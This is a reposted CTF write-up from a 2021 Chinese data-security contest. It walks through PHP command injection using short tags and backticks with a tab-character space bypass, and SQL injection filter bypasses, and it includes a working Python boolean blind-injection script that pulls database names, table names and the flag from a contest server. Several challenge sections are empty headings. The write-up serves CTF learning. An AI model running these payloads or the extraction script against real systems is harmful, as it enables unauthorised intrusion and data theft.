当前位置:主页 > 查看内容

2021红明谷杯数据安全大赛技能场景赛-部分Writeup

发布时间:2021-04-16 00:00| 位朋友查看

简介:文章目录 Web write_shell happysql easytp javaweb Misc 签到 InputMonitor 我的心是冰冰的 歪比歪比 babytraffic 后续题目知道怎么做了跟进复现会把wp补上 Web write_shell 第一步主要考察PHP代码执行第一步先写个phpinfo()看下情况。利用php的一种短标签……


后续题目知道怎么做了,跟进复现会把wp补上

Web

write_shell

在这里插入图片描述
第一步主要考察PHP代码执行,第一步先写个phpinfo()看下情况。利用php的一种短标签可以绕过分号,然后拼接一下绕过php字样。
在这里插入图片描述

/?action=upload&data=<?=(p.hpinfo)()?>

沙盒路径?action=pwd看一下
在这里插入图片描述
看了下disable_functions的值,本来还在想该如何先拿到一个shell,然后绕过disable_functions。队友突然告诉反引号没过滤,可以直接写入并执行命令,试了一下

/?action=upload&data=<?=`whoami`?>

在这里插入图片描述
顿时感觉这题可能非预期了,在根目录下找到flag

/?action=upload&data=<?=`ls%09-la%09/`?>

%09用于绕过空格过滤
在这里插入图片描述

直接读取,注意这里有个php后缀会被过滤,不过在命令执行种用*替换即可

/?action=upload&data=<?=`cat%09/!whatyouwantggggggg401*`?>

在这里插入图片描述

happysql

一个login.php,一个register.php,一个home.php
在这里插入图片描述
加了个单引号发现有过滤
在这里插入图片描述
简单的fuzz一下黑名单,长度353的都是被过滤的
在这里插入图片描述
等号(=)用in或者regexp进行绕过,这里用in,空格用/**/绕过,or可以用||替换

username=mochu"||("1")in("1")#&password=mochu7

在这里插入图片描述
在这里插入图片描述
很明显是布尔盲注了
接下来考虑两个点:
1.截断函数用哪个?这里mid()和substring()已经被过滤了
2.如何绕过information

截断函数可以用left()right(),不过需要注意的是这两个函数并不能像mid和substring一样逐个截断,写脚本的时候注意下测试字符串的拼接。而绕过information已经是老生常谈了,猜测通过查询mysql.innodb_table_stats得到库名和表名

from binascii import *
import requests

ascii_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
url = 'http://eci-2ze6jljai3r43tjxt13k.cloudeci1.ichunqiu.com/login.php'

headers = {'Host': 'eci-2ze6jljai3r43tjxt13k.cloudeci1.ichunqiu.com/',
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0',
               'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
               'Accept-Encoding': 'gzip, deflate',
               'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
               'Content-Type': 'application/x-www-form-urlencoded'}

text = ''
for i in range(1,50):
    for s in ascii_str:
        username = '1"||hex(left((select/**/*/**/from/**/ctf.f1ag),{}))in("{}")#'.format(i,hexlify((text+s).encode('utf-8')).decode('utf-8').upper())
        payload = {"username": username,"password": "mochu7"}
        res = requests.post(url=url,headers=headers,data=payload)
        if 'home.php' in res.text:
            text += s
            print(text)
1"||hex(left(version(),{}))in("{}")#

1"||hex(left((select/**/group_concat(database_name)/**/from/**/mysql.innodb_table_stats),{}))in("{}")#

1"||hex(left((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/(database_name)in(database())),{}))in("{}")#

1"||hex(left((select/**/*/**/from/**/ctf.f1ag),{}))in("{}")#
查询到的信息:
version: 10.4.13-MariaDB
databases: ctf,mysql
Current-database: ctf
ctf's tables: ctf,f1ag

在这里插入图片描述

easytp

javaweb

Misc

签到

一起来参与数据安全知识小竞赛。

  1. 在数据库系统中,口令保护是信息系统的第一道屏障。
  2. 为了防止物理上取走数据库而采取的加强数据库安全的方法是数据库加密。
  3. 发生介质故障后,磁盘上的物理数据和日志文件被破坏,这是最严重的一种故障,恢复方法是重装数据库,然后重做已完成的事务。
  4. 在数据库的安全评估过程中,下面那项是指系统能够对付各种可能的攻击的能力。可行性
  5. 数据库访问控制策略中,只需策略是只让用户得到有相应权限的信息,这些信息恰到可以让用户完成自己的工作,其他的权利一律不给。
  6. 数据库的安全策略是指如何组织管理、保护和处理敏感信息的指导思想。它包括安全管理策略、访问控制策略和信息控制策略。
  7. 数据库的加密方法中,采用库外加密,则密钥管理较为简单,只需借用文件加密的密钥管理方法。
  8. 在下面的加密方法中,哪个加解密的效率最低:元素加密
    在这里插入图片描述

InputMonitor

我的心是冰冰的

歪比歪比

babytraffic

;原文链接:https://blog.csdn.net/mochu7777777/article/details/115410705
本站部分内容转载于网络,版权归原作者所有,转载之目的在于传播更多优秀技术内容,如有侵权请联系QQ/微信:153890879删除,谢谢!

推荐图文


随机推荐